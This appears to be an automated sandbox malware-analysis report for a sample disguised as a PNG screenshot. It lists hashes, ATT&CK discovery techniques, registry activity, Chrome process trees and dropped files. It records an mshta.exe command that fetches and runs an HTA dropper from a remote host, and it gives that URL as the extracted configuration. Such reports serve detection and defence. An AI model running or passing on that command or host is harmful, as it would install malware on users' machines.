47a104df0b62989777d183326fe3fdc29222b1a79b457193b78fa6c86252bdf8

Analysis

user interaction
yes
max time kernel
171s
max time network
173s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
06/07/2026, 17:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Screenshot 2026-07-01 130848.png
Size 4KB
Sample260706-wc2cfaev4p
SHA256 47a104df0b62989777d183326fe3fdc29222b1a79b457193b78fa6c86252bdf8
MD5 7accc5763d87056e36d727c450de1326
SHA1 3cfc1191d9b8549ec325f266ea7de0bb2f8f86b2
SHA512 4e680b504613d5a76292defb27086d6b03f843a5bf31e5a0cfb4e2b311c405d1df737dce8f231c8b877497c3fd01f20a188a3e1cc14ac5e49dc7f6be66e45655
SSDEEP 96:p6AF79nCEhXbqdI1SIKnImqGoAM8fNfb4OPQWwlcXRi37d4hb6K0r:p6AF4ExbAMS1n4CzpnIWliZ45Or
TLSH
T189917D647E51054C7450B1C15EE33324B3A3287931269A99F642DD5F0D0A1671BBF923
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://gamble-rig.up.railway.app/

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
94	2672	mshta.exe
96	2672	mshta.exe
106	2672	mshta.exe
113	2672	mshta.exe
115	2672	mshta.exe
119	2672	mshta.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4476	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134278336660828353"	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3184	mspaint.exe
3184	mspaint.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
2828	chrome.exe
2828	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe
Token: SeShutdownPrivilege	1892	chrome.exe
Token: SeCreatePagefilePrivilege	1892	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe
1892	chrome.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3184	mspaint.exe
3184	mspaint.exe
3184	mspaint.exe
3184	mspaint.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 5056	1892	chrome.exe	92
PID 1892 wrote to memory of 5020	1892	chrome.exe	94
PID 1892 wrote to memory of 4476	1892	chrome.exe	93
PID 1892 wrote to memory of 5020	1892	chrome.exe	94
PID 1892 wrote to memory of 3836	1892	chrome.exe	95
PID 1892 wrote to memory of 3836	1892	chrome.exe	95
PID 1892 wrote to memory of 3444	1892	chrome.exe	96
PID 1892 wrote to memory of 2012	1892	chrome.exe	97
PID 1892 wrote to memory of 3444	1892	chrome.exe	96
PID 1892 wrote to memory of 2012	1892	chrome.exe	97
PID 1892 wrote to memory of 3164	1892	chrome.exe	99
PID 1892 wrote to memory of 3164	1892	chrome.exe	99
PID 1892 wrote to memory of 2284	1892	chrome.exe	100
PID 1892 wrote to memory of 2284	1892	chrome.exe	100
PID 1892 wrote to memory of 3800	1892	chrome.exe	101
PID 1892 wrote to memory of 3800	1892	chrome.exe	101
PID 1892 wrote to memory of 4464	1892	chrome.exe	102
PID 1892 wrote to memory of 4464	1892	chrome.exe	102
PID 1892 wrote to memory of 1656	1892	chrome.exe	104
PID 1892 wrote to memory of 2140	1892	chrome.exe	116
PID 1892 wrote to memory of 4224	1892	chrome.exe	117
PID 1892 wrote to memory of 3464	1892	chrome.exe	118
PID 1892 wrote to memory of 2596	1892	chrome.exe	120
PID 1892 wrote to memory of 2828	1892	chrome.exe	132

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\Screenshot 2026-07-01 130848.png"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:3040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa97efc728,0x7ffa97efc734,0x7ffa97efc740
  2⤵
  PID:5056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2044,i,18359369488555894708,16710290710541242922,524288 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2164 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1708,i,9337314316033975532,18134972170453130332,262144 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2124 /prefetch:2
  2⤵
  PID:5020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2420,i,3145902370132754808,5092444137779436668,524288 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2572 /prefetch:8
  2⤵
  PID:3836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3200,i,17414325261646896857,10552588026266896356,2097152 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3204 /prefetch:1
  2⤵
  PID:3444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3224,i,12749916503149041178,6943780251661210545,2097152 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:2012
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4336,i,10994402749041983699,14228652323727350709,2097152 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4464 /prefetch:2
  2⤵
  PID:3164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4688,i,4480079035301109556,1001070613594984541,2097152 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4716 /prefetch:1
  2⤵
  PID:2284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4888,i,4171266070709390514,245995850588007805,524288 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4900 /prefetch:8
  2⤵
  PID:3800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5020,i,12671482374963638670,3649388799748585861,524288 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5036 /prefetch:8
  2⤵
  PID:4464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5676,i,9807180592536959236,166251545477634474,524288 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5076 /prefetch:8
  2⤵
  PID:1656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4732,i,2562081981071683104,17992943841790511849,524288 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4436 /prefetch:8
  2⤵
  PID:2140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5716,i,11110083790086558265,11345704250001868682,524288 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4428 /prefetch:8
  2⤵
  PID:4224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5828,i,16824793159374036957,8605668287951641827,524288 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5076 /prefetch:8
  2⤵
  PID:3464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4576,i,1865716387806525914,1894418904744511703,524288 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4552 /prefetch:8
  2⤵
  - Modifies registry class
  PID:2596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5716,i,6646017826900558956,16903446357989844912,262144 --field-trial-handle=2128,i,17974496164846354159,13894670182815262199,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4472 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2828

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4412

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://gamble-rig.up.railway.app/
1⤵
- Badlisted process makes network request
PID:2672

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 023c1d78be1c0646205588fd1c6f03f53f957feea51eaa2c3e3dd179ac094366
MD5 bd48e0a8a435704556f7d79f41af22b3
SHA1 cc6d4266c773123ee25e3412b6e9ac38a70e41f6
SHA512 79106bb24343a628d26f71939c2cf1b3dad31302f74ab15c7cdae4dbca7e4cb27344459242289710254abaa8cf89aef52cd93db3828347800094a0ff4c38316b
TLSH
T156E02BA5C923AC3B1DF82728A8654749E651131B6740990F773D410C4FB977A8186C5C
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 b37d1f5990614d5d54f1417745a155573fa6524a7eb5f1b28d4471263dec4681
MD5 f2dfd85bb3d6683d4418de5ed06b4911
SHA1 9b2787e40461d6a9e4e870fd2ac23c0027c55757
SHA512 4b1961e404ce757a9ca096c3eab9724997598ac2118ca9c04855442c4f8f5b05c49b2583bf2acb5d74784c4ac361729d95562772072b370fbd0960eae348250c
TLSH
T12151ABF3D3E4866EC51196F4EB216E2FCD6D0A24031D3C6289D5AE1B43F2972E21138E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 40e5bc09f9b4928e8eefa37e166f4414336fc48cf0be65e216c1ac76d6ba908e
MD5 162287da9205960e8beb57eff691cdea
SHA1 e95bdc435d2aa6e22af6b5337e43d15f1bdb920d
SHA512 4c8cc8c07aee6319b960c383faecbd96c8367935a6f834d7df8f090c1897cf24449ff885ddd7566c882ef7dd56d6d6ff70c1a3f7a3d51ff08b746caa3f994021
TLSH
T1D2519AF3D3E4866D851196F4AB256E1FCE6D0A24032C3C6289D4AE1B53F2972E20138E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 9ee1731e9728a660da53c38d91404c2bc5497d777084d41e36b86a162a4656af
MD5 637a672f054d3f0cd2ace1997b53759c
SHA1 764f044f26a8045ca1ebaebd6fb01a175fd19423
SHA512 23a545c0cc50f3d9e66644c255aa7caad114be2192bd517aad26eb9ec993ef72560a1f4ac6eda044df41691048f9b9c43b34d2d9fca1b0b9cb7b443361a99103
SSDEEP 192:7Rhv/jqQWRv7MF+hAPRp2S9HHsb+WNnQs0uk1T2fekgNaQVyIsnAUgraJ:7RhvaBgo8X91wv0H1T2oaUe
TLSH
T13242D52FA911697B6CCBD219FD567B57D7F5102221C52E40EAFD8A2C06F76CC221B01B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 d75f6ff01ec311dec1484ab2d067e4621707aef10db0453cb2faa53f824bca6f
MD5 ce26af9b8c89bf39a4548734b124af99
SHA1 feb72775d2f236685de36e31531bd7b64e80018b
SHA512 841c4a7b973cfa85fc9ca4a3d92db8ba99f65f5b4424a288990d367ddf30f6372a76479dce3a5551cb3b56a3447e683bba69df0d6422958123561fe61ac7c3d1
SSDEEP 192:7Rhv/jqSRv7MF+hAPRp2S9HHsb+WNnQs08k1T2fekgNaaVyIsnAUgtaJ:7RhvxBgo8X91wv0V1T2oaa8
TLSH
T14542D52FEE15697B6CCAC219FD667B13D7F5102221852E50EAFD8A2C05E76CC221B01B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 6f649a0ef50685d4a391691bf5694f363560e46356945a60b87e21ea697e9c5d
MD5 f3ba9f493ba76309872230c572d6eb92
SHA1 1d158dccae12523cc384392142625b1ffc10068f
SHA512 0eccd8feb381438b4cd4d8a74383962b5f0adccf9c0760d7b5b9686d10659342d1158c2ced32518ec61270dc9b7f68207667ae6034e93e209ca8708b2fc9ad81
SSDEEP 192:7Rhv/jqQWRv7MF+hAPRp2S9HHsb+WNnQs08k1T2fekgNaaVyIsnAUgtaJ:7RhviBgo8X91wv0V1T2oaa8
TLSH
T1CF42D52FAE11697B6CCAC219FD667B17D7F5102221C52E40EAFD8A2C05E76CC221B01B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 34d3b150d9ebc3413240a436dcd8cc4d2da0e46d00a681d2118263aea9d32f3e
MD5 73285efb9f7ee0bd384426865ccccf8e
SHA1 51903f2b7a36fa90857257254c2bebdfe5da7eef
SHA512 e9bab3e8a04453bd7ca516137298f57170d38058ccd5df170108532fdb6eefb2d5ae94de47967a5242cb07be597050bef4f69d7f740877c626e131f01424e28d
SSDEEP 384:TRjPq7KxkXqKf/pUZNCgVLH2HfgslT37pLuLcSjFgXODPO+ErU3voHGjBm2oR0h9:TxPq7KxkXqKf/pUZNCgVLH2HfgsV37pM
TLSH
T1287219676C4C8E7B0F94CACCDC167F4F9DB5025B65EA886482FA582903D5ADF01061FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 8cfe8e9c8183bb4ba493876f43f08a7ea8214f0191dfa53b0355e4035d01b8b2
MD5 55bc50416e4adf85e5a6b3cadd6f7625
SHA1 aac5ea22321e3b52f9bbbaae301c7711e3736f2d
SHA512 853a4e31e4bb1632ebe6d41bd235f2ec4b42514db0243e66ef768a0b160bf26eaabf7e1d5f42ee3a3c670a4f9da288926b2a15e26cc3c61d297298e8646b0c59
TLSH
T1A3B01240C4025A81C08602B41243558C73145F1C970E170183F06E27CC29262C014050
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58b14a.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58b14a.TMP
Size 96B
SHA256 d9fd1f67a6b29a74fcc7084f0bd73ade7b07e2da6bae54f5f67528b3b8a56e48
MD5 7e4ee8aea7253df15a01131b8a61aae7
SHA1 3b05d3e25cc55e821202b97d7c2ad0e1c809e351
SHA512 1f38af2104472b41e674d7e6beee84a7507e00a66234259d28ccfad2b4a7c752bb6f5bceea62c77944c7e3ec9f7a8bc644e14adbecc8b849c5cd3e435acd411c
TLSH
T1FDB02200C802B202C08303B0A08E80C830A0CF38C3033322C3F0BAA2FC3223200220B0
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 6972f32da8a607414d8b6347fcd5a339dc292bc8730684d0c02055e268c4b3e2
MD5 8314e03bf303cda9d2b72b3db6173bcc
SHA1 8b04bc0d868fe1ee285e92a75b03c16383bb0a6b
SHA512 43e98693121105649be6a8501f6f2c8fd0fb230956d1dfb0a92ad4e6097432b67c9cc23a10f62128afdd0b3d657b263123ec4ca3c28b9998bdb2dcf510568121
SSDEEP 3072:/FGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMM:/Mm7Rkm1tYpBeh2BAoM
TLSH
